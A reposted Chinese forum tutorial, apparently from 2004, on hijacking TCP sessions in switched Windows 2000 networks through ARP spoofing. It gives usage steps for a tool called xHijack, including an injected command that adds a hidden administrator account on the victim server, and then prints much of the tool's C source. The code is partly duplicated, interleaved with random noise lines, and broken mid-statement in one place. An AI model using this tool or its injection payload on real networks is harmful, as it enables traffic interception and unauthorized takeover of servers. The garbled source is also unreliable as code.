数学建模社区-数学中国
标题:
再谈交换环境下的会话劫持(For windows2000)
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作者:
韩冰
时间:
2004-11-21 01:44
标题:
再谈交换环境下的会话劫持(For windows2000)
第一步是开启IP Routing的功能,修改注册表
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HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
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第二步是ARP欺骗,具体原理我就不说了。
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第三步就是开始劫持啦。
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我写了个程序xHijack可以实现第二、三步功能,使用如下:
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Usage: xHijack ServerSide ClientSide
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下面根据三种不同的情况分别说明如何输入参数:
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<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
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假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
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c:\>xHijack 192.168.0.2 192.168.0.3
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劫持前数据流程:server <--> client
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劫持后数据流程:server <--> hijacker <--> client
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<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
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假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
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xHijack 202.202.202.2 202.202.202.1
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劫持前数据流程:server <--> gw <--> routes <--> client
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劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
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<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
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假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
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xHijack 192.168.0.1 192.168.0.2
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劫持前数据流程:client <--> gw <--> routes <--> server
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劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
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输入两个参数后,会提示你选择网卡,然后会提示
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l <-- List all connections
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r x <-- Reset the number x connection
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w x <-- Watch the number x connection
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h x command <-- Hijack the number x connection to execute command
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list、reset、watch命令我就不解释了。
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假如现在有如下连接
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(1) 202.202.202.202:23 <--> 192.168.0.3:2345
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我们想要劫持这个连接运行我们的命令,输入
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xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
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为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
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pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
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都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
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劫持的流程如下:
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<1>伪装成Server给Client发一个rst包
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<2>伪装成Client给Server发了一个数据包
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<3>Server回一个ACK包给client
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<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
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这样的话,我们只能发一个伪造的包,但我想已经足够了。
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想要一直劫持那个连接也可以,如下
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<1>伪装成Server给Client发一个rst包
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<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
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<3>伪装成Client给Server发了一个数据包
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<4>Server回一个ACK包给client
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<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
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<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
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不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
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刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
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还请各位多多指点。
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BTW:我没有空间,编译好的程序没地方放:(
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参考资料
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<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
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<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
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以下是程序代码
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----------------------------------------------------------------------
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/*-----------------------------------------------------------------------------
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File : xHijack.c
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Version : 1.0
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Create at : 2002/8/12
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Last modifed at : 2002/8/19
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Author : eyas
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Email : ey4s@21cn.com
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HomePage : www.ey4s.org
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感谢refdom和shotgun发布的源代码,使我获益非浅。
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If you modify the code, or add more functions, please email me a copy.
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备注:
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<>没有考虑IP头、TCP头超过20字节的情况
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<>没有考虑数据包分片的情况
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<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
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显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
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题了。
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也许下一版本会修正这些问题,也许不会有下一版本了。
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-----------------------------------------------------------------------------*/
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#include
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#include
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#include
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#include
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#include
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#include
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#include
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#pragma comment (lib, "packet")
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#pragma comment (lib, "iphlpapi")
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#pragma comment (lib, "ws2_32")
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#define Max_Num_Adapter 10
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#define Max_Num_IPAddr 5
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#define EPT_IP 0x0800 /* type: IP */
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#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
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#define EPT_ARP 0x0806 /* type: ARP */
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#define ACTION_NONE 0
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#define ACTION_WATCH 1
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#define ACTION_RESET 2
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#define ACTION_HIJACK 3
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/*以1字节对齐*/
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#pragma pack(1)
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typedef struct _ehhdr
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{
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unsigned char DestMAC[6];
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unsigned char SourceMAC[6];
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unsigned short EthernetType;
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}EHHDR, *PEHHDR;
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typedef struct _iphdr //定义IP首部
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{
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unsigned char h_verlen; //4位首部长度,4位IP版本号
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unsigned char tos; //8位服务类型TOS
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unsigned short total_len; //16位总长度(字节)
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unsigned short ident; //16位标识
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unsigned short frag_and_flags; //3位标志位
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unsigned char ttl; //8位生存时间 TTL
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unsigned char proto; //8位协议 (TCP, UDP 或其他)
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unsigned short checksum; //16位IP首部校验和
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unsigned int sourceIP; //32位源IP地址
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unsigned int destIP; //32位目的IP地址
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}IPHDR, *PIPHDR;
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typedef struct _tcphdr //定义TCP首部
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{
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USHORT th_sport; //16位源端口
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USHORT th_dport; //16位目的端口
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unsigned int th_seq; //32位序列号
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unsigned int th_ack; //32位确认号
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unsigned char th_lenres; //4位首部长度/6位保留字
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unsigned char th_flag; //6位标志位
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USHORT th_win; //16位窗口大小
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USHORT th_sum; //16位校验和
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USHORT th_urp; //16位紧急数据偏移量
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}TCPHDR, *PTCPHDR;
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typedef struct _psdhdr //定义TCP pseudo header
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{
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unsigned long saddr;
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unsigned long daddr;
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char mbz;
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char ptcl;
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unsigned short tcpl;
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}PSDHDR, *PPSDHDR;
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typedef struct _arphdr
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{
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unsigned short HrdType;//硬件类型
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unsigned short ProType;//协议类型
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unsigned char HrdAddrlen;//硬件地址长度
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unsigned char ProAddrLen;//协议地址长度
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unsigned short op;//operation
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unsigned char SourceMAC[6];/* sender hardware address */
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unsigned long SourceIP;/* sender protocol address */
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unsigned char DestMAC[6];/* target hardware address */
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unsigned long DestIP;/* target protocol address */
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}ARPHDR, *PARPHDR;
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typedef struct _ArpPacket
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{
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EHHDR ehhdr;
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ARPHDR arphdr;
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}ARPPACKET, *PARPPACKET;
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typedef struct _tcppacket
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{
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EHHDR ehhdr;
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IPHDR iphdr;
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TCPHDR tcphdr;
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}TCPPACKET, *PTCPPACKET;
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typedef struct _conninfo
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{
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DWORD dwServerIP;
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USHORT uServerPort;
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DWORD dwClientIP;
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USHORT uClientPort;
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DWORD ident;//标识
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BOOL bActive;
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struct _conninfo *Next;
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}CONNINFO, *PCONNINFO;
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//定义全局变量
作者:
韩冰
时间:
2004-11-21 01:44
unsigned int g_ServerSideIP,
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g_ClientSideIP,
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g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
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g_TotalIP = 0;//
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unsigned char g_szOwnMAC[6];//本机MAC地址
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unsigned char g_szClientSideMAC[6];
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unsigned char g_szServerSideMAC[6];
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char g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
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LPADAPTER g_lpAdapter;
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//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
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HANDLE g_hThread[4];
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char g_szCommand[128];//command to execute after hijack
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DWORD g_dwAction;//action type
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DWORD g_dwCtrlConn;//action 所控制连接的标识
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DWORD g_ident;//节点标识,递增
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PCONNINFO g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
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g_pConnHead = NULL,
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g_pConnLast = NULL;
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char g_szSendPacketBuf[1514];
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LPPACKET g_lpSendPacket;
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//函数
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void usage(void);
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void ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
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void ListAllConnection();//列出当前所有的连接
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void ResetActionAllFlag();
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USHORT checksum(USHORT *, int);
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BOOL GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
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BOOL IsACKPacket(unsigned char);//判断是不是一个纯ack包
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LPADAPTER InitAdapter();//初始化一些参数和全局变量
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BOOL SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
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BOOL SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
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DWORD GetConnNum(char *, DWORD, DWORD *);
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DWORD CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
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DWORD WINAPI ArpSpoofThread(LPVOID);//进行arp欺骗的函数
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DWORD WINAPI AnalysePacketsThread(LPVOID);//分析处理接收到的包
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DWORD WINAPI InterfaceThread(LPVOID);//
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BOOL WINAPI CtrlEvent(DWORD);
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int main(int argc, char **argv)
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{
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struct bpf_stat stat;
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int i;
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usage();
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if (argc != 3) return 0;
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//取得参数
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g_ServerSideIP = inet_addr(argv[1]);
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g_ClientSideIP = inet_addr(argv[2]);
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//初始化adapter & 一些全局变量
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g_lpAdapter = InitAdapter();
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if(!g_lpAdapter) return 0;
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//get ServerSide MAC & ClientSide MAC
. l/ A; e' \- U4 M' d
if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
" |1 d6 Q0 F+ n! z
if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
1 t" z% {+ F/ u/ u
//create arp spoof thread
& [' P% Y9 d* k4 T; E
i = 1;
+ H" T- q7 }$ {+ z( V6 s( o3 C8 G
g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
9 `& L; \! U7 }8 }" ^ u) ]; S
Sleep(500);
; @% X$ F4 j7 S
i = 2;
2 p4 \7 X% L' g
g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
3 q) v: c$ l0 d* o! ~4 c. p
//create analyse packet thread
: @9 @& E5 s+ _" l
g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
4 E' |! f: ^$ D! W9 j4 `
//create interface thread
# z- n T# I. _. ?
g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
, ^# D; x& Q- O# | U
//set console ctrl handle
" j0 J* W2 p) v* X0 _1 L+ p) o: ^- D
if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
% {0 \6 R$ \5 z& {
{
" d) z U7 M& A6 {0 l
printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
; ]% u; b) x& r& ^# J i
return 0;
2 h' ?1 d- t5 i: r$ j% P B
}
, A' w) `( e4 J( i$ _* n% c
//wait for any thread exit
* [! a9 v; ]4 v. c; _
WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
6 h+ c* C% D# l) A2 X6 L
//print the capture statistics
( W* ?" q9 _! }
if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
/ {; @; e& `' B7 D' W3 Q
printf("Warning: unable to get stats from the kernel!\n");
4 K- f2 T% V' t U
else
5 l; v8 ]* R* v
printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
. C1 C2 D6 \- }9 t5 B s
//free resource
) n! i5 d6 N+ ^1 i8 D6 E
PacketFreePacket(g_lpSendPacket);
& y5 X9 `! Z: F* l8 x0 a
PacketCloseAdapter(g_lpAdapter);
( i2 H# `# A* a* j B$ H7 ^( f- K
return 0;
$ ]) j, @- Y( i7 e! ?* X
}
) z& q* m. U8 I/ ]. m
6 e1 x1 _' }( g( X/ a9 }) _* }
//
1 @% Y! Q7 `; P# Y2 x0 |8 ^
//功能:重置所有于ACTION有关的标志
! N H2 i, N: q4 ~
//
作者:
韩冰
时间:
2004-11-21 01:44
unsigned int g_ServerSideIP,
6 \ ?- `2 @$ \8 \- m
g_ClientSideIP,
( e7 y6 z3 t; T& s
g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
9 P* y* N7 @4 q; u* \* Y7 V
g_TotalIP = 0;//
* v* O3 f* D" @ ~9 l8 M c" r
unsigned char g_szOwnMAC[6];//本机MAC地址
* D! y% G: s3 F8 c4 Q
unsigned char g_szClientSideMAC[6];
( }. D0 e# e9 `, d$ E
unsigned char g_szServerSideMAC[6];
& p6 v) |* W Z7 b" n$ _
char g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
" I( X8 C. f6 ` w, s
LPADAPTER g_lpAdapter;
7 |4 A) G9 ?1 f/ R9 F. h3 D! |
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
6 \+ W0 s, }# }
HANDLE g_hThread[4];
( M; ?/ }" n; q! q
char g_szCommand[128];//command to execute after hijack
: l) }1 F1 n) `3 r% H" a# e
DWORD g_dwAction;//action type
! b& D) v/ @7 @4 v
DWORD g_dwCtrlConn;//action 所控制连接的标识
7 f& B& q4 i* X# }& [
DWORD g_ident;//节点标识,递增
9 C" x) C/ i; a/ r* z# b' |
PCONNINFO g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
! d) d' t' t1 N! V0 v
g_pConnHead = NULL,
* j+ G+ \8 _& d- |; G5 t; ]0 z1 ?4 X
g_pConnLast = NULL;
2 H- S9 g* p, w+ h$ C) f* d3 O
char g_szSendPacketBuf[1514];
2 w1 r: k) e" L- \6 H
LPPACKET g_lpSendPacket;
6 D* B! ~$ E! C! P, \
//函数
3 @. {% T7 Z9 {* k& N; @
void usage(void);
$ r+ {: s* o7 Q# I( @2 m( v3 C
void ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
4 E# ]( B% z. N V0 N- I* q3 C7 I
void ListAllConnection();//列出当前所有的连接
$ p7 N# Y# z8 }' w/ O6 ^
void ResetActionAllFlag();
1 y% a: ~' H0 [+ ~8 s
USHORT checksum(USHORT *, int);
" y' w* s+ Y. _. w6 V+ G2 C3 g
BOOL GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
" Z4 \, L( f s0 G7 M3 t& N) d
BOOL IsACKPacket(unsigned char);//判断是不是一个纯ack包
5 ?1 N+ d3 e7 m Y( Y) O* s* ]
LPADAPTER InitAdapter();//初始化一些参数和全局变量
3 h* ~ K1 K9 q; F' J- b! K, F. s
BOOL SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
/ j) g! F5 { M7 x
BOOL SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
3 @8 J, X# x6 E
DWORD GetConnNum(char *, DWORD, DWORD *);
8 \1 S" G2 o9 d. z7 m
DWORD CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
; _' U6 m$ K* p8 n( _
DWORD WINAPI ArpSpoofThread(LPVOID);//进行arp欺骗的函数
% ` b$ P& v9 F, B( @
DWORD WINAPI AnalysePacketsThread(LPVOID);//分析处理接收到的包
" F0 F5 ?2 F5 p$ n, v* \
DWORD WINAPI InterfaceThread(LPVOID);//
! |/ l% V3 z* r7 y8 R
BOOL WINAPI CtrlEvent(DWORD);
8 T9 i6 N( {+ h5 v3 v& z! M
+ p& y+ @2 j7 i$ t3 [0 ]8 n
" z9 s6 I9 q! P% U& K' K) t
5 V, ~: k9 o& K' W* d4 p% o
int main(int argc, char **argv)
8 u( v2 p2 F# ~
{
0 o4 C' ]# A, @3 Z5 v6 O' d
struct bpf_stat stat;
8 ]. p9 j. D- F) R
int i;
7 r! f$ I, Q3 o! b5 @+ ?# ~
3 Y8 n( n' z9 [. n
usage();
, k! G" H8 P2 s0 ~5 |
if (argc != 3) return 0;
5 {. _0 R; }" }8 x& y
//取得参数
6 V# K) W5 `+ [4 m+ |) P
g_ServerSideIP = inet_addr(argv[1]);
& d/ R% j K: t, m8 n E# i0 k! I
g_ClientSideIP = inet_addr(argv[2]);
' H$ i3 O, r7 z7 T% ?4 H# g, T" j: g6 L
//初始化adapter & 一些全局变量
3 p1 Q+ n' t7 ? H' D7 J D' [$ R
g_lpAdapter = InitAdapter();
. U, P7 P" G1 I5 r
if(!g_lpAdapter) return 0;
* w- O( ~ x. L2 ~; `
//get ServerSide MAC & ClientSide MAC
$ m) N" o! [& O& Z
if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
* t! q/ c5 [! p2 }8 U9 ]
if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
/ Q! C1 R( i9 |7 L2 J& Q
//create arp spoof thread
3 H& e6 Y5 x5 F2 j. H
i = 1;
& |' `4 F* c/ }2 K% u) h
g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
; D& a3 w0 K0 T5 D4 G
Sleep(500);
( i! [* U# N0 C! ^8 Y
i = 2;
3 c3 b/ q- @' S4 K, l
g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
' C# G) j; h' j! h, O( n
//create analyse packet thread
3 M- L9 L( a% _( h( W9 q4 V
g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
! V# }* ^8 s1 X& }. B, ^4 }
//create interface thread
! O; a8 C3 }% k! Z
g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
* [: d9 e: ?+ A u8 P
//set console ctrl handle
9 O! g: _! x5 c
if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
4 |& U' c7 ]# F6 i
{
, f5 A4 v8 `: A D$ S! X
printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
4 y8 t- x+ r" b' ]5 ]
return 0;
2 G t6 X" r" K9 i
}
( C: _, j+ c3 Z2 [5 k) e8 |1 X
//wait for any thread exit
1 n! c# ?7 c% C1 F3 a
WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
- B3 \+ t2 M1 w* o2 M8 X
//print the capture statistics
" p$ ^5 k/ I( L
if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
( C& A+ g1 D8 W; a8 k
printf("Warning: unable to get stats from the kernel!\n");
6 }4 @% a8 J% q/ H$ ]
else
' R. Q! \: H* b) M
printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
( L' N; s+ v, I. w8 N' W d7 Q+ W* i# c
//free resource
6 R% ]. R# f& p# Y
PacketFreePacket(g_lpSendPacket);
; v/ Y* W, I0 b9 W
PacketCloseAdapter(g_lpAdapter);
Q& K: L# [) [" I. H- X+ _
return 0;
. i& L* l" R' a. I! w! {0 Y
}
3 w* ]3 h+ {" t/ t o+ D, n
" \/ _5 E/ L& L7 K6 Q
//
' J& [; v) Z- u0 U2 g8 h7 _. J
//功能:重置所有于ACTION有关的标志
* r) z/ ~' w' i' ]& W9 w; e! B* |
//
作者:
韩冰
时间:
2004-11-21 01:45
void ResetActionAllFlag()
* a+ B; V4 x' s) b. R; t
{
5 m; H% ~1 v Y E0 X) W5 G: P4 W
g_dwCtrlConn = 0;
3 w: l: N3 L8 w }2 j
g_pCurrCtrlConn = NULL;
9 K1 L' b$ }* v( ? ^; D5 o
g_dwAction = ACTION_NONE;
+ S- y- r' w4 f# X
}
7 V/ m; j( _9 a' F6 I
h0 a7 l* d# ^- h
//
\ a$ T+ b% N
//功能:处理Ctrl+C和Ctrl+Break事件
& m0 d/ q# k( ]1 W
//
- j* @ w0 B( P0 k7 J& o& U) c& z
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
8 j A) {% c: ~. b
{
0 H6 f% D/ p; P3 M h$ i" R/ G9 T
switch(dwCtrlType)
4 u( p4 N3 R ?7 e. k' n
{
/ q, e9 h3 Y, B- _) `& Q2 `
case CTRL_BREAK_EVENT:
. P3 _9 r6 L$ h
//reset action all flag
% g& P4 b3 S6 |. `+ E5 ?
ResetActionAllFlag();
. x; x& g: N+ X$ c) h
break;
+ }& U% J9 W# G2 _0 V
case CTRL_C_EVENT:
7 V! _" J/ p2 [5 w" s6 ?$ R
//terminate all thread
7 J1 B9 k% j K1 g+ Y7 N3 ~* P
TerminateThread(g_hThread[0], 0);
( O+ {/ s4 ]2 I
TerminateThread(g_hThread[1], 0);
- H/ @' A7 [2 d' ]
TerminateThread(g_hThread[2], 0);
! ^6 l5 h: [1 d) G5 [6 K
TerminateThread(g_hThread[3], 0);
9 G3 W' J5 V7 d% y; o$ J {$ j
break;
, ^( C5 z/ _/ K
default:
2 R0 l+ S& e2 D: V* J& i
break;
, Z0 Y8 J0 K F, j6 m u" V3 r; N! Q
}
( y& ~1 R) B3 @: {/ P
return TRUE;
9 v$ Z( P+ ^# Q4 b7 S
}
9 L, B$ K" e9 v8 E
0 R) r. t/ P* h/ U6 h
//
% w( M |5 P4 j: G2 C( u
//功能:处理用户输入
! e' k ^3 u4 y" ~- {& d4 F V
//
3 j( f, t/ i1 ^
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
, D! n4 d5 ~2 u6 [* ?7 d, N
{
. O* ^/ S6 D2 I+ t q8 l, q) Z
DWORD i;
3 U, H: E) g; H( Y( a) k7 F4 K
char szBuff[16];
7 _1 ?" \ x _, {! U- s' h. x
/ ]$ @6 A7 S, U Y! ^5 @" j F" {
*lpCommandPos = 0;
2 H t6 q! Q9 B' ]& g9 ~
for(i=0; i<15, i代码比较乱
r# Z6 l, f& d" v, x4 s
//
8 J$ i) c! M. r) p) R* N" F3 I
DWORD WINAPI InterfaceThread(LPVOID lp)
! f% |# b" e# A8 t% u( P
{
4 i' |; x7 V' ^2 N/ Q" E
char szHelp[] = "l\t\t<-- List all connections\n"
$ b, a" n2 \( z d. L2 k. n
"r x\t\t<-- Reset the number x connection\n"
0 f4 ~: y+ G. r- s6 f
"w x\t\t<-- Watch the number x connection\n"
: q' [* {. N: m
"h x command\t<-- Hijack the number x connection to execute command\n"
5 @$ l1 w- f: c7 Z2 b/ g
"[Note]\n"
7 ]" h3 Z5 n' {4 B6 f: h/ l# b
"Ctrl+Break to clear all action\n"
( m8 o4 W) t* h, N/ g! f
"Ctrl+C to exit\n";
! q3 c$ |* E: a& b
char szPrompt[] = "\nxHijack>";
8 O$ a- ]! z/ O
char szBuffer[128];
! _4 b$ C3 U# U u- f* u
DWORD dwPos;
2 t" ~2 b; U" _+ I- _' k
PCONNINFO pTmp;
. E5 z' C6 p8 }/ s
. S/ S, Q% I2 u5 x- M* d$ u
while(1)
! G, l4 d7 F0 e) Q6 n/ r4 A
{
7 `" f( P# ?/ c |
gets(szBuffer);//不考虑buffer overflow
& R [- M. e! v p( m3 {( ~% {
switch(szBuffer[0])
/ I8 d9 z T# z/ `/ u) `& ~
{
# _4 ?! L7 i/ u! ]- @* _
case 'l':
( N, E W1 s8 x) Z! e L
case 'L':
. y& W: i( U$ @
ListAllConnection();
8 {8 e9 m9 B* i+ h+ K/ V
break;
7 h( w3 X2 p) M( s
case 'r':
- F7 t* i3 k& p, P- V
case 'R':
; o: W- p8 i& H* \9 j# ^7 V! l9 x* k
if(strlen(szBuffer) >2)
2 `2 n% r) X, w4 Z" W# o% |
{
) A& C5 o4 G' S2 B+ y
g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
3 y* ~ Y5 }1 i8 k8 H3 h w6 {
g_dwAction = ACTION_RESET;
- q& {* ]5 y% R$ ?# }1 Y
}
) }* p, R9 ?# q$ @
else printf("%s", szHelp);
' {8 r$ t8 [* t: r9 o" j5 Z
break;
2 ?$ W' V% Z1 A5 g, h; k
case 'w':
6 O: g, H! {2 ?: e; V$ v
case 'W':
( O6 V* l2 b1 O+ B3 [
if(strlen(szBuffer) > 2)
3 ?$ w# _5 W! x) |* y
{
, W( i/ z+ [7 D. E7 ?
g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
) b% e3 [5 J4 ?7 @" Y
g_dwAction = ACTION_WATCH;
3 h; A5 d6 D0 u7 y. J
}
1 b7 v5 M1 F3 D4 y
else printf("%s", szHelp);
+ p. b1 W7 J4 l$ D
break;
% z ]9 h0 `3 k% C$ s4 r; j
case 'h':
. n- L% [6 I7 \3 @/ S0 f% z l
case 'H'://h 1 xxx
, X1 C# _1 u0 N& _5 ?
if(strlen(szBuffer) > 5)
; ?# l& G: a6 v
{
' v8 G4 x# B0 q: ?$ p; e
g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
L4 p5 |* B5 `0 N5 I$ r
//如果command第一个字符是'或"
4 J- K* Y) f. e q, ^) ~
if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
4 \ B" ~5 Q7 [3 u* b2 S1 A; L0 p
{
: I; y! }' q9 d- O# H
strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
% m8 a7 I/ |* l
g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
& ?6 a9 a2 O4 L3 P4 T
}
# D- q1 v# P2 a) r9 ^& J; g
else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
2 N% E, d# j3 e+ c0 _
strcat(g_szCommand, "\x0D\x0A");
$ k- U2 W' B+ I8 ?* |' X7 @" S
g_dwAction = ACTION_HIJACK;
1 L/ J5 y2 F% O5 ?' X
}
" v" G$ M2 x `3 A8 k
else printf("%s", szHelp);
% a& C R6 b4 U6 o
break;
/ B5 d/ h0 t" n6 |2 ~
default:
% e' O- c6 P4 ^0 {8 P8 h M
printf("%s", szHelp);
3 e5 ]7 h, d2 r7 ]+ K2 o5 A& ]
break;
% S0 k9 r2 P- S8 N
}//end of switch
1 Q9 r1 b* ?7 G; {9 c* S1 E) X! h, U
//find the specify ident's struct point
0 j& q/ p1 f+ V! b0 G' V8 |. h/ W
if( (g_dwCtrlConn) && (g_dwAction) )
: g; Z1 D* s" L$ M( Z
{
8 T4 D& ?* W7 m1 }+ j& P
g_pCurrCtrlConn = NULL;
7 V# C, T L1 b5 ]; b
pTmp = g_pConnHead;
: }1 [3 P2 \, A# Q5 t9 ~; F& K
while(pTmp)
# ^0 v$ g8 R/ ^# t
{
& l: ]5 U: u9 m3 D6 [7 n3 R
if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
; k7 T% M+ T" p7 q& e7 o! b! k
{
' D: b @5 P! p7 ^8 {7 O
g_pCurrCtrlConn = pTmp;
9 i6 [3 b- h: @ `$ Q
break;
3 {, o/ V" b7 J# U
}
7 _2 m. F/ l8 g9 O
pTmp = pTmp->Next;
. f9 Z" B0 T9 p3 d1 |
}
/ p+ i$ c( Q2 l+ B! l/ E
if(!g_pCurrCtrlConn)
' ^+ C# w5 B! W' ^# \. G& b
{
- L+ {& @ r6 X* F4 y( N( y
printf("Can't find the number %d connection.\n", g_dwCtrlConn);
8 R5 k) n5 l1 F9 U
//reset action all flag
; }) N: P) d+ Z
ResetActionAllFlag();
8 k" D! y+ H* G! f7 D# z
}
& |/ Z O/ }" w9 x: t* e, r
}
& V$ L, ^: u3 b! g
if(!g_dwCtrlConn) ResetActionAllFlag();
9 F, O' E" T( U/ S* O! x: D
//显示当前用户所期望的动作
6 m1 R9 m) J. b; J
printf("\nCurrentAction:");
0 S3 @/ _3 w0 A7 e9 w; v$ Z
switch(g_dwAction)
Y* `( |4 t+ h( |5 U
{
0 s3 D5 u( H# v
case ACTION_WATCH:
& ?( b/ ` ?: |1 u5 p/ B6 _7 V
printf("ACTION_WATCH");
9 F" i( O/ I/ q* l% O. b
break;
6 f" R; u. k( X( c
case ACTION_RESET:
z o0 H$ d% Y1 C% I: {- @1 N
printf("ACTION_RESET");
}# ^4 e9 P, D! ~/ M; `
break;
1 d8 o2 ]/ R4 {* Z$ a
case ACTION_HIJACK:
; d; D. K* \+ p- m: P# p0 N
printf("ACTION_HIJACK");
1 Q7 p6 E! S1 ]7 a4 B/ k" z
break;
4 p: O9 q; B+ o' [
default:
% u9 E6 a* c8 Z: y- ~( B/ A! Q& n
printf("ACTION_NONE");
2 d: }0 P* P2 z
break;
7 T; n5 @8 ?( i; l
}
4 ` @3 S. w0 B
printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
2 A3 [& f [6 l/ l
}//enf of while
$ r |2 _& X, q4 ~! s
return 0;
0 N# m/ d# s6 {9 _
}
作者:
韩冰
时间:
2004-11-21 01:46
//
- j2 X3 @8 M* H9 e
//功能:列出当前所有连接
# ?1 a! O1 Z, o k( v
//
( l- l4 ]3 U% f1 S' c
void ListAllConnection()
2 i3 i4 R/ B! c% ?( W3 s4 @
{
7 r+ ~- W9 N% C. b
PCONNINFO pTmp;
# H8 G# x3 { j; M0 U/ [
SOCKADDR_IN saDest, saSource;
, [' a$ M7 c5 m# y# z, q( e4 R
pTmp = g_pConnHead;
7 R3 S2 E$ J$ [$ t+ J
while(pTmp)
5 t. B& F3 W X y+ _) k5 x
{
( ?$ ? }) P2 h1 h
if(pTmp->bActive)
/ ?) G8 `- ^% L3 ?) B
{
, g+ K* b/ ~* [( t! z9 z, o! A
saSource.sin_addr.s_addr = pTmp->dwServerIP;
2 c+ D$ c/ Q' H$ V# S% g3 |
saDest.sin_addr.s_addr = pTmp->dwClientIP;
3 e$ ~3 ^, y1 f9 y' Y% A% D
printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr),
8 r4 e) C( w s1 G; i5 N4 k
ntohs(pTmp->uServerPort));
K1 J% B* D$ S6 K% C1 R
printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort));
/ H: i \ s) `$ l/ F$ Z2 l( [ c
}
0 y4 b) S. V$ W
pTmp = pTmp->Next;
9 J, B- g+ }' f6 |6 j
}
, I6 c3 h/ ~$ A U# l* \) e, K
}
( R6 Z( P+ I" D; z! s+ M# o
8 w5 }" q4 v: n$ e. a6 w$ i" ?5 V
//
8 x5 ~9 A8 R. O# D4 b- c
//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址
